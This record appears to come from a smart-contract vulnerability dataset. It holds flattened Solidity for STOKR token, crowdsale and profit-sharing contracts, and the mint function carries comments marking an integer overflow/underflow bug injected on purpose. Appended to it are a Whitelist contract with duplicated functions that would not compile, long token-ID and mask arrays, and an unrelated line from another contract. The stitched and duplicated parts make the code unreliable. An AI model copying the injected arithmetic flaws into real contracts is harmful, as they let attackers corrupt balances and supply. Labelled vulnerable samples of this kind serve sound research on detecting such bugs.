onlyProfitDepositor onlyWhenTotalSupplyIsFixed { require(totalSupply_ > 0, "Total supply is zero"); totalProfits = totalProfits.add(msg.value); emit ProfitDeposit(msg.sender, msg.value); } /// @dev Profit share owing /// @param _investor An Ethereum address /// @return A positive number function profitShareOwing(address _investor) public view returns (uint) { if (!totalSupplyIsFixed || totalSupply_ == 0) { return 0; } InvestorAccount memory account = accounts[_investor]; return totalProfits.sub(account.lastTotalProfits) .mul(account.balance) .div(totalSupply_) .add(account.profitShare); } /// @dev Update profit share /// @param _investor An Ethereum address function updateProfitShare(address _investor) public onlyWhenTotalSupplyIsFixed { uint newProfitShare = profitShareOwing(_investor); accounts[_investor].lastTotalProfits = totalProfits; accounts[_investor].profitShare = newProfitShare; emit ProfitShareUpdate(_investor, newProfitShare); } /// @dev Withdraw profit share function withdrawProfitShare() public { _withdrawProfitShare(msg.sender, msg.sender); } function withdrawProfitShareTo(address payable _beneficiary) public { _withdrawProfitShare(msg.sender, _beneficiary); } /// @dev Withdraw profit share function withdrawProfitShares(address payable[] calldata _investors) external onlyProfitDistributor { for (uint i = 0; i < _investors.length; ++i) { _withdrawProfitShare(_investors[i], _investors[i]); } } /// @dev Withdraw profit share function _withdrawProfitShare(address _investor, address payable _beneficiary) internal { updateProfitShare(_investor); uint withdrawnProfitShare = accounts[_investor].profitShare; accounts[_investor].profitShare = 0; _beneficiary.transfer(withdrawnProfitShare); emit ProfitShareWithdrawal(_investor, _beneficiary, withdrawnProfitShare); } } // File: contracts/token/MintableToken.sol pragma solidity 0.5.12; /// @title MintableToken /// @author STOKR /// @dev Extension of the ERC20 compliant ProfitSharing Token /// that allows the creation of tokens via minting for a /// limited time period (until minting gets finished). contract MintableToken is ERC20, ProfitSharing, Whitelisted { address public minter; uint public numberOfInvestors = 0; /// @dev Log entry on mint /// @param to Beneficiary who received the newly minted tokens /// @param amount The amount of minted token units event Minted(address indexed to, uint amount); /// @dev Log entry on mint finished event MintFinished(); /// @dev Restrict an operation to be callable only by the minter modifier onlyMinter() { require(msg.sender == minter, "Restricted to minter"); _; } /// @dev Restrict an operation to be executable only while minting was not finished modifier canMint() { require(!totalSupplyIsFixed, "Total supply has been fixed"); _; } /// @dev Set minter authority /// @param _minter Ethereum address of minter authority function setMinter(address _minter) public onlyOwner { require(minter == address(0x0), "Minter has already been set"); require(_minter != address(0x0), "Minter is zero"); minter = _minter; } /// @dev Mint tokens, i.e. create tokens out of thin air /// @param _to Beneficiary who will receive the newly minted tokens /// @param _amount The amount of minted token units function mint(address _to, uint _amount) public onlyMinter canMint onlyWhitelisted(_to) { if (accounts[_to].balance == 0) { numberOfInvestors++; } totalSupply_ = totalSupply_.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW accounts[_to].balance = accounts[_to].balance.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW emit Minted(_to, _amount); emit Transfer(address(0x0), _to, _amount); } /// @dev Finish minting -- this should be irreversible function finishMinting() public onlyMinter canMint { totalSupplyIsFixed = true; emit MintFinished(); } } // File: contracts/crowdsale/RateSourceInterface.sol pragma solidity 0.5.12; /// @title RateSource /// @author STOKR interface RateSource { /// @dev The current price of an Ether in EUR cents /// @return Current ether rate function etherRate() external view returns (uint); } // File: contracts/crowdsale/MintingCrowdsale.sol pragma solidity 0.5.12; /// @title MintingCrowdsale /// @author STOKR contract MintingCrowdsale is Ownable { using SafeMath for uint; // Maximum Time of offering period after extension uint constant MAXOFFERINGPERIOD = 80 days; // Ether rate oracle contract providing the price of an Ether in EUR cents RateSource public rateSource; // The token to be sold // In the following, the term "token unit" always refers to the smallest // and non-divisible quantum. Thus, token unit amounts are always integers. // One token is expected to consist of 10^18 token units. MintableToken public token; // Token amounts in token units // The public and the private sale are both capped (i.e. two distinct token pools) // The tokenRemaining variables keep track of how many token units are available // for the respective type of sale uint public tokenCapOfPublicSale; uint public tokenCapOfPrivateSale; uint public tokenRemainingForPublicSale; uint public tokenRemainingForPrivateSale; // Prices are in Euro cents (i.e. 1/100 EUR) uint public tokenPrice; // The minimum amount of tokens a purchaser has to buy via one transaction uint public tokenPurchaseMinimum; // The maximum total amount of tokens a purchaser may buy during start phase uint public tokenPurchaseLimit; // Total token purchased by investor (while purchase amount is limited) mapping(address => uint) public tokenPurchased; // Public sale period uint public openingTime; uint public closingTime; uint public limitEndTime; // Ethereum address where invested funds will be transferred to address payable public companyWallet; // Amount and receiver of reserved tokens uint public tokenReservePerMill; address public reserveAccount; // Wether this crowdsale was finalized or not bool public isFinalized = false; /// @dev Log entry upon token distribution event /// @param beneficiary Ethereum address of token recipient /// @param amount Number of token units /// @param isPublicSale Whether the distribution was via public sale event TokenDistribution(address indexed beneficiary, uint amount, bool isPublicSale); /// @dev Log entry upon token purchase event /// @param buyer Ethereum address of token purchaser /// @param value Worth in wei of purchased token amount /// @param amount Number of token units event TokenPurchase(address indexed buyer, uint value, uint amount); /// @dev Log entry upon rate change event /// @param previous Previous closing time of sale /// @param current Current closing time of sale event ClosingTimeChange(uint previous, uint current); /// @dev Log entry upon finalization event event Finalization(); /// @dev Constructor /// @param _rateSource Ether rate oracle contract /// @param _token The token to be sold /// @param _tokenCapOfPublicSale Maximum number of token units to mint in public sale /// @param _tokenCapOfPrivateSale Maximum number of token units to mint in private sale /// @param _tokenPurchaseMinimum Minimum amount of tokens an investor has to buy at once /// @param _tokenPurchaseLimit Maximum total token amounts individually buyable in limit phase /// @param _tokenPrice Price of a token in EUR cent /// @param _openingTime Block (Unix) timestamp of sale opening time /// @param _closingTime Block (Unix) timestamp of sale closing time /// @param _limitEndTime Block (Unix) timestamp until token purchases are limited /// @param _companyWallet Ethereum account who will receive sent ether /// @param _tokenReservePerMill Per mill amount of sold tokens to mint for reserve account /// @param _reserveAccount Ethereum address of reserve tokens recipient constructor( RateSource _rateSource, MintableToken _token, uint _tokenCapOfPublicSale, uint _tokenCapOfPrivateSale, uint _tokenPurchaseMinimum, uint _tokenPurchaseLimit, uint _tokenReservePerMill, uint _tokenPrice, uint _openingTime, uint _closingTime, uint _limitEndTime, address payable _companyWallet, address _reserveAccount ) public { require(address(_rateSource) != address(0x0), "Rate source is zero"); require(address(_token) != address(0x0), "Token address is zero"); require(_token.minter() == address(0x0), "Token has another minter"); require(_tokenCapOfPublicSale > 0, "Cap of public sale is zero"); require(_tokenCapOfPrivateSale > 0, "Cap of private sale is zero"); require(_tokenPurchaseMinimum <= _tokenCapOfPublicSale && _tokenPurchaseMinimum <= _tokenCapOfPrivateSale, "Purchase minimum exceeds cap"); require(_tokenPrice > 0, "Token price is zero"); require(_openingTime >= now, "Opening lies in the past"); require(_closingTime >= _openingTime, "Closing lies before opening"); require(_companyWallet != address(0x0), "Company wallet is zero"); require(_reserveAccount != address(0x0), "Reserve account is zero"); // Note: There are no time related requirements regarding limitEndTime. // If it's below openingTime, token purchases will never be limited. // If it's above closingTime, token purchases will always be limited. if (_limitEndTime > _openingTime) { // But, if there's a purchase limitation phase, the limit must be at // least the purchase minimum or above to make purchases possible. require(_tokenPurchaseLimit >= _tokenPurchaseMinimum, "Purchase limit is below minimum"); } // Utilize safe math to ensure the sum of three token pools does't overflow _tokenCapOfPublicSale.add(_tokenCapOfPrivateSale).mul(_tokenReservePerMill); rateSource = _rateSource; token = _token; tokenCapOfPublicSale = _tokenCapOfPublicSale; tokenCapOfPrivateSale = _tokenCapOfPrivateSale; tokenPurchaseMinimum = _tokenPurchaseMinimum; tokenPurchaseLimit= _tokenPurchaseLimit; tokenReservePerMill = _tokenReservePerMill; tokenPrice = _tokenPrice; openingTime = _openingTime; closingTime = _closingTime; limitEndTime = _limitEndTime; companyWallet = _companyWallet; reserveAccount = _reserveAccount; tokenRemainingForPublicSale = _tokenCapOfPublicSale; tokenRemainingForPrivateSale = _tokenCapOfPrivateSale; } /// @dev Fallback function: buys tokens function () external payable { require(msg.data.length == 0, "Fallback call with data"); buyTokens(); } /// @dev Distribute tokens purchased off-chain via public sale /// Note: additional requirements are enforced in internal function. /// @param beneficiaries List of recipients' Ethereum addresses /// @param amounts List of token units each recipient will receive function distributeTokensViaPublicSale( address[] memory beneficiaries, uint[] memory amounts ) public { tokenRemainingForPublicSale = distributeTokens(tokenRemainingForPublicSale, beneficiaries, amounts, true); } /// @dev Distribute tokens purchased off-chain via private sale /// Note: additional requirements are enforced in internal function. /// @param beneficiaries List of recipients' Ethereum addresses /// @param amounts List of token units each recipient will receive function distributeTokensViaPrivateSale( address[] memory beneficiaries, uint[] memory amounts ) public { tokenRemainingForPrivateSale = distributeTokens(tokenRemainingForPrivateSale, beneficiaries, amounts, false); } /// @dev Check whether the sale has closed /// @return True iff sale closing time has passed function hasClosed() public view returns (bool) { return now >= closingTime; } /// @dev Check wether the sale is open /// @return True iff sale opening time has passed and sale is not closed yet function isOpen() public view returns (bool) { return now >= openingTime && !hasClosed(); } /// @dev Determine the remaining open time of sale /// @return Time in seconds until sale gets closed, or 0 if sale was closed function timeRemaining() public view returns (uint) { if (hasClosed()) { return 0; } return closingTime - now; } /// @dev Determine the amount of sold tokens (off-chain and on-chain) /// @return Token units amount function tokenSold() public view returns (uint) { return (tokenCapOfPublicSale - tokenRemainingForPublicSale) + (tokenCapOfPrivateSale - tokenRemainingForPrivateSale); } /// @dev Purchase tokens function buyTokens() public payable { require(isOpen(), "Sale is not open"); uint etherRate = rateSource.etherRate(); require(etherRate > 0, "Ether rate is zero"); // Units: [1e-18*ether] * [cent/ether] / [cent/token] => [1e-18*token] uint amount = msg.value.mul(etherRate).div(tokenPrice); require(amount <= tokenRemainingForPublicSale, "Not enough tokens available"); require(amount >= tokenPurchaseMinimum, "Investment is too low"); // Is the total amount an investor can purchase with Ether limited? if (now < limitEndTime) { uint purchased = tokenPurchased[msg.sender].add(amount); require(purchased <= tokenPurchaseLimit, "Purchase limit reached"); tokenPurchased[msg.sender] = purchased; } tokenRemainingForPublicSale = tokenRemainingForPublicSale.sub(amount); token.mint(msg.sender, amount); forwardFunds(); emit TokenPurchase(msg.sender, msg.value, amount); } /// @dev Extend the offering period of the crowd sale. /// @param _newClosingTime new closingTime of the crowdsale function changeClosingTime(uint _newClosingTime) public onlyOwner { require(!hasClosed(), "Sale has already ended"); require(_newClosingTime > now, "ClosingTime not in the future"); require(_newClosingTime > openingTime, "New offering is zero"); require(_newClosingTime - openingTime <= MAXOFFERINGPERIOD, "New offering too long"); emit ClosingTimeChange(closingTime, _newClosingTime); closingTime = _newClosingTime; } /// @dev Finalize, i.e. end token minting phase and enable token transfers function finalize() public onlyOwner { require(!isFinalized, "Sale has already been finalized"); require(hasClosed(), "Sale has not closed"); if (tokenReservePerMill > 0) { token.mint(reserveAccount, tokenSold().mul(tokenReservePerMill).div(1000)); } token.finishMinting(); isFinalized = true; emit Finalization(); } /// @dev Distribute tokens purchased off-chain (in Euro) to investors /// @param tokenRemaining Token units available for sale /// @param beneficiaries Ethereum addresses of purchasers /// @param amounts Token unit amounts to deliver to each investor /// @return Token units available for sale after distribution function distributeTokens( uint tokenRemaining, address[] memory beneficiaries, uint[] memory amounts, bool isPublicSale ) internal onlyOwner returns (uint) { require(!isFinalized, "Sale has been finalized"); require(beneficiaries.length == amounts.length, "Lengths are different"); for (uint i = 0; i < beneficiaries.length; ++i) { address beneficiary = beneficiaries[i]; uint amount = amounts[i]; require(amount <= tokenRemaining, "Not enough tokens available"); tokenRemaining = tokenRemaining.sub(amount); token.mint(beneficiary, amount); emit TokenDistribution(beneficiary, amount, isPublicSale); } return tokenRemaining; } /// @dev Forward invested ether to company wallet function forwardFunds() internal { companyWallet.transfer(address(this).balance); } } // File: contracts/token/TokenRecoverable.sol pragma solidity 0.5.12; /// @title TokenRecoverable /// @author STOKR contract TokenRecoverable is Ownable { // Address that can do the TokenRecovery address public tokenRecoverer; /// @dev Event emitted when the TokenRecoverer changes /// @param previous Ethereum address of previous token recoverer /// @param current Ethereum address of new token recoverer event TokenRecovererChange(address indexed previous, address indexed current); /// @dev Event emitted in case of a TokenRecovery /// @param oldAddress Ethereum address of old account /// @param newAddress Ethereum address of new account event TokenRecovery(address indexed oldAddress, address indexed newAddress); /// @dev Restrict operation to token recoverer modifier onlyTokenRecoverer() { require(msg.sender == tokenRecoverer, "Restricted to token recoverer"); _; } /// @dev Constructor /// @param _tokenRecoverer Ethereum address of token recoverer constructor(address _tokenRecoverer) public { setTokenRecoverer(_tokenRecoverer); } /// @dev Set token recoverer /// @param _newTokenRecoverer Ethereum address of new token recoverer function setTokenRecoverer(address _newTokenRecoverer) public onlyOwner { require(_newTokenRecoverer != address(0x0), "New token recoverer is zero"); if (_newTokenRecoverer != tokenRecoverer) { emit TokenRecovererChange(tokenRecoverer, _newTokenRecoverer); tokenRecoverer = _newTokenRecoverer; } } /// @dev Recover token /// @param _oldAddress address /// @param _newAddress address function recoverToken(address _oldAddress, address _newAddress) public; } // File: contracts/token/StokrToken.sol pragma solidity 0.5.12; /// @title StokrToken /// @author Stokr contract StokrToken is MintableToken, TokenRecoverable { string public name; string public symbol; uint8 public constant decimals = 18; mapping(address => mapping(address => uint)) internal allowance_; /// @dev Log entry on self destruction of the token event TokenDestroyed(); /// @dev Constructor /// @param _whitelist Ethereum address of whitelist contract /// @param _tokenRecoverer Ethereum address of token recoverer constructor( string memory _name, string memory _symbol, Whitelist _whitelist, address _profitDepositor, address _profitDistributor, address _tokenRecoverer ) public Whitelisted(_whitelist) ProfitSharing(_profitDepositor, _profitDistributor) TokenRecoverable(_tokenRecoverer) { name = _name; symbol = _symbol; } /// @dev Self destruct can only be called by crowdsale contract in case the goal wasn't reached function destruct() public onlyMinter { emit TokenDestroyed(); selfdestruct(address(uint160(owner))); } /// @dev Recover token /// @param _oldAddress address of old account /// @param _newAddress address of new account function recoverToken(address _oldAddress, address _newAddress) public onlyTokenRecoverer onlyWhitelisted(_newAddress) { // Ensure that new address is *not* an existing account. // Check for account.profitShare is not needed because of following implication: // (account.lastTotalProfits == 0) ==> (account.profitShare == 0) require(accounts[_newAddress].balance == 0 && accounts[_newAddress].lastTotalProfits == 0, "New address exists already"); updateProfitShare(_oldAddress); accounts[_newAddress] = accounts[_oldAddress]; delete accounts[_oldAddress]; emit TokenRecovery(_oldAddress, _newAddress); emit Transfer(_oldAddress, _newAddress, accounts[_newAddress].balance); } /// @dev Total supply of this token /// @return Token amount function totalSupply() public view returns (uint) { return totalSupply_; } /// @dev Token balance /// @param _investor Ethereum address of token holder /// @return Token amount function balanceOf(address _investor) public view returns (uint) { return accounts[_investor].balance; } /// @dev Allowed token amount a third party trustee may transfer /// @param _investor Ethereum address of token holder /// @param _spender Ethereum address of third party /// @return Allowed token amount function allowance(address _investor, address _spender) public view returns (uint) { return allowance_[_investor][_spender]; } /// @dev Approve a third party trustee to transfer tokens /// Note: additional requirements are enforced within internal function. /// @param _spender Ethereum address of third party /// @param _value Maximum token amount that is allowed to get transferred /// @return Always true function approve(address _spender, uint _value) public returns (bool) { return _approve(msg.sender, _spender, _value); } /// @dev Increase the amount of tokens a third party trustee may transfer /// Note: additional requirements are enforces within internal function. /// @param _spender Ethereum address of third party /// @param _amount Additional token amount that is allowed to get transferred /// @return Always true function increaseAllowance(address _spender, uint _amount) public returns (bool) { require(allowance_[msg.sender][_spender] + _amount >= _amount, "Allowance overflow"); return _approve(msg.sender, _spender, allowance_[msg.sender][_spender].add(_amount)); } /// @dev Decrease the amount of tokens a third party trustee may transfer /// Note: additional requirements are enforces within internal function. /// @param _spender Ethereum address of third party /// @param _amount Reduced token amount that is allowed to get transferred /// @return Always true function decreaseAllowance(address _spender, uint _amount) public returns (bool) { require(_amount <= allowance_[msg.sender][_spender], "Amount exceeds allowance"); return _approve(msg.sender, _spender, allowance_[msg.sender][_spender].sub(_amount)); } /// @dev Check if a token transfer is possible /// @param _from Ethereum address of token sender /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return True iff a transfer with given pramaters would succeed function canTransfer(address _from, address _to, uint _value) public view returns (bool) { return totalSupplyIsFixed && _from != address(0x0) && _to != address(0x0) && _value <= accounts[_from].balance && whitelist.isWhitelisted(_from) && whitelist.isWhitelisted(_to); } /// @dev Check if a token transfer by third party is possible /// @param _spender Ethereum address of third party trustee /// @param _from Ethereum address of token holder /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return True iff a transfer with given pramaters would succeed function canTransferFrom(address _spender, address _from, address _to, uint _value) public view returns (bool) { return canTransfer(_from, _to, _value) && _value <= allowance_[_from][_spender]; } /// @dev Token transfer /// Note: additional requirements are enforces within internal function. /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return Always true function transfer(address _to, uint _value) public returns (bool) { return _transfer(msg.sender, _to, _value); } /// @dev Token transfer by a third party /// Note: additional requirements are enforces within internal function. /// @param _from Ethereum address of token holder /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return Always true function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(_value <= allowance_[_from][msg.sender], "Amount exceeds allowance"); return _approve(_from, msg.sender, allowance_[_from][msg.sender].sub(_value)) && _transfer(_from, _to, _value); } /// @dev Approve a third party trustee to transfer tokens (internal implementation) /// @param _from Ethereum address of token holder /// @param _spender Ethereum address of third party /// @param _value Maximum token amount the trustee is allowed to transfer /// @return Always true function _approve(address _from, address _spender, uint _value) internal onlyWhitelisted(_from) onlyWhenTotalSupplyIsFixed returns (bool) { allowance_[_from][_spender] = _value; emit Approval(_from, _spender, _value); return true; } /// @dev Token transfer (internal implementation) /// @param _from Ethereum address of token sender /// @param _to Ethereum address of token recipient /// @param _value Token amount to transfer /// @return Always true function _transfer(address _from, address _to, uint _value) internal onlyWhitelisted(_from) onlyWhitelisted(_to) onlyWhenTotalSupplyIsFixed returns (bool) { require(_to != address(0x0), "Recipient is zero"); require(_value <= accounts[_from].balance, "Amount exceeds balance"); updateProfitShare(_from); updateProfitShare(_to); accounts[_from].balance = accounts[_from].balance.sub(_value); accounts[_to].balance = accounts[_to].balance.add(_value); emit Transfer(_from, _to, _value); return true; } } // File: contracts/crowdsale/StokrCrowdsale.sol pragma solidity 0.5.12; /// @title StokrCrowdsale /// @author STOKR contract StokrCrowdsale is MintingCrowdsale { // Soft cap in token units uint public tokenGoal; // As long as the goal is not reached funds of purchases are held back // and investments are assigned to investors here to enable a refunding // if the goal is missed upon finalization mapping(address => uint) public investments; // Log entry upon investor refund event event InvestorRefund(address indexed investor, uint value); /// @dev Constructor /// @param _token The token /// @param _tokenCapOfPublicSale Available token units for public sale /// @param _tokenCapOfPrivateSale Available token units for private sale /// @param _tokenGoal Minimum number of sold token units to be successful /// @param _tokenPurchaseMinimum Minimum amount of tokens an investor has to buy at once /// @param _tokenPurchaseLimit Maximum total token amounts individually buyable in limit phase /// @param _tokenReservePerMill Additional reserve tokens in per mill of sold tokens /// @param _tokenPrice Price of a token in EUR cent /// @param _rateSource Ethereum address of ether rate setting authority /// @param _openingTime Block (Unix) timestamp of sale opening time /// @param _closingTime Block (Unix) timestamp of sale closing time /// @param _limitEndTime Block (Unix) timestamp until token purchases are limited /// @param _companyWallet Ethereum account who will receive sent ether /// @param _reserveAccount An address constructor( RateSource _rateSource, StokrToken _token, uint _tokenCapOfPublicSale, uint _tokenCapOfPrivateSale, uint _tokenGoal, uint _tokenPurchaseMinimum, uint _tokenPurchaseLimit, uint _tokenReservePerMill, uint _tokenPrice, uint _openingTime, uint _closingTime, uint _limitEndTime, address payable _companyWallet, address _reserveAccount ) public MintingCrowdsale( _rateSource, _token, _tokenCapOfPublicSale, _tokenCapOfPrivateSale, _tokenPurchaseMinimum, _tokenPurchaseLimit, _tokenReservePerMill, _tokenPrice, _openingTime, _closingTime, _limitEndTime, _companyWallet, _reserveAccount ) { require( _tokenGoal <= _tokenCapOfPublicSale + _tokenCapOfPrivateSale, "Goal is not attainable" ); tokenGoal = _tokenGoal; } /// @dev Wether the goal of sold tokens was reached or not /// @return True if the sale can be considered successful function goalReached() public view returns (bool) { return tokenSold() >= tokenGoal; } /// @dev Investors can claim refunds here if crowdsale was unsuccessful function distributeRefunds(address payable[] calldata _investors) external { for (uint i = 0; i < _investors.length; ++i) { refundInvestor(_investors[i]); } } /// @dev Investors can claim refunds here if crowdsale was unsuccessful function claimRefund() public { refundInvestor(msg.sender); } /// @dev Overwritten. Kill the token if goal was missed function finalize() public onlyOwner { super.finalize(); if (!goalReached()) { StokrToken(address(token)).destruct(); } } function distributeTokensViaPublicSale( address[] memory beneficiaries, uint[] memory amounts ) public { super.distributeTokensViaPublicSale(beneficiaries, amounts); // The goal may get reached due to token distribution, // so forward any accumulated funds to the company wallet. forwardFunds(); } function distributeTokensViaPrivateSale( address[] memory beneficiaries, uint[] memory amounts ) public { super.distributeTokensViaPrivateSale(beneficiaries, amounts); // The goal may get reached due to token distribution, // so forward any accumulated funds to the company wallet. forwardFunds(); } /// @dev Overwritten. Funds are held back until goal was reached function forwardFunds() internal { if (goalReached()) { super.forwardFunds(); } else { investments[msg.sender] = investments[msg.sender].add(msg.value); } } /// @dev Refund an investor if the sale was not successful /// @param _investor Ethereum address of investor function refundInvestor(address payable _investor) internal { require(isFinalized, "Sale has not been finalized"); require(!goalReached(), "Goal was reached"); uint investment = investments[_investor]; if (investment > 0) { investments[_investor] = 0; _investor.transfer(investment); emit InvestorRefund(_investor, investment); } } }
@title Whitelist @author STOKR Set of admins Set of Whitelisted addresses
contract Whitelist is Ownable { mapping(address => bool) public admins; mapping(address => bool) public isWhitelisted; event AdminAdded(address indexed admin); event AdminRemoved(address indexed admin); event InvestorAdded(address indexed admin, address indexed investor); event InvestorRemoved(address indexed admin, address indexed investor); modifier onlyAdmin() { require(admins[msg.sender], "Restricted to whitelist admin"); _; } function addAdmin(address _admin) public onlyOwner { require(_admin != address(0x0), "Whitelist admin is zero"); if (!admins[_admin]) { admins[_admin] = true; emit AdminAdded(_admin); } } function addAdmin(address _admin) public onlyOwner { require(_admin != address(0x0), "Whitelist admin is zero"); if (!admins[_admin]) { admins[_admin] = true; emit AdminAdded(_admin); } } function removeAdmin(address _admin) public onlyOwner { if (admins[_admin]) { admins[_admin] = false; emit AdminRemoved(_admin); } } function removeAdmin(address _admin) public onlyOwner { if (admins[_admin]) { admins[_admin] = false; emit AdminRemoved(_admin); } } function addToWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (!isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = true; emit InvestorAdded(msg.sender, _investors[i]); } } } function addToWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (!isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = true; emit InvestorAdded(msg.sender, _investors[i]); } } } function addToWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (!isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = true; emit InvestorAdded(msg.sender, _investors[i]); } } } function removeFromWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = false; emit InvestorRemoved(msg.sender, _investors[i]); } } } function removeFromWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = false; emit InvestorRemoved(msg.sender, _investors[i]); } } } function removeFromWhitelist(address[] calldata _investors) external onlyAdmin { for (uint256 i = 0; i < _investors.length; i++) { if (isWhitelisted[_investors[i]]) { isWhitelisted[_investors[i]] = false; emit InvestorRemoved(msg.sender, _investors[i]); } } } }
1,786,912
[ 1, 18927, 225, 2347, 3141, 54, 1000, 434, 31116, 1000, 434, 3497, 7523, 329, 6138, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3497, 7523, 353, 14223, 6914, 288, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 31116, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 353, 18927, 329, 31, 203, 203, 565, 871, 7807, 8602, 12, 2867, 8808, 3981, 1769, 203, 203, 565, 871, 7807, 10026, 12, 2867, 8808, 3981, 1769, 203, 203, 565, 871, 5454, 395, 280, 8602, 12, 2867, 8808, 3981, 16, 1758, 8808, 2198, 395, 280, 1769, 203, 203, 565, 871, 5454, 395, 280, 10026, 12, 2867, 8808, 3981, 16, 1758, 8808, 2198, 395, 280, 1769, 203, 203, 203, 565, 9606, 1338, 4446, 1435, 288, 203, 3639, 2583, 12, 3666, 87, 63, 3576, 18, 15330, 6487, 315, 18784, 358, 10734, 3981, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 527, 4446, 12, 2867, 389, 3666, 13, 1071, 1338, 5541, 288, 203, 3639, 2583, 24899, 3666, 480, 1758, 12, 20, 92, 20, 3631, 315, 18927, 3981, 353, 3634, 8863, 203, 203, 3639, 309, 16051, 3666, 87, 63, 67, 3666, 5717, 288, 203, 5411, 31116, 63, 67, 3666, 65, 273, 638, 31, 203, 203, 5411, 3626, 7807, 8602, 24899, 3666, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 527, 4446, 12, 2867, 389, 3666, 13, 1071, 1338, 5541, 288, 203, 3639, 2583, 24899, 3666, 480, 1758, 12, 20, 92, 20, 3631, 315, 18927, 3981, 353, 3634, 8863, 203, 203, 3639, 309, 16051, 3666, 87, 63, 67, 3666, 5717, 288, 203, 5411, 31116, 63, 67, 3666, 65, 273, 638, 31, 203, 203, 5411, 2 ]
./partial_match/1/0x0dA8e422ac6718c2DaA5c5573F03231BD58c04f5/sources/UPSHIB.sol
1% from total supply maxTransactionAmountTxn
maxTransactionAmount = 9999999999 * 1e18;
9,359,890
[ 1, 21, 9, 628, 2078, 14467, 943, 3342, 6275, 13789, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
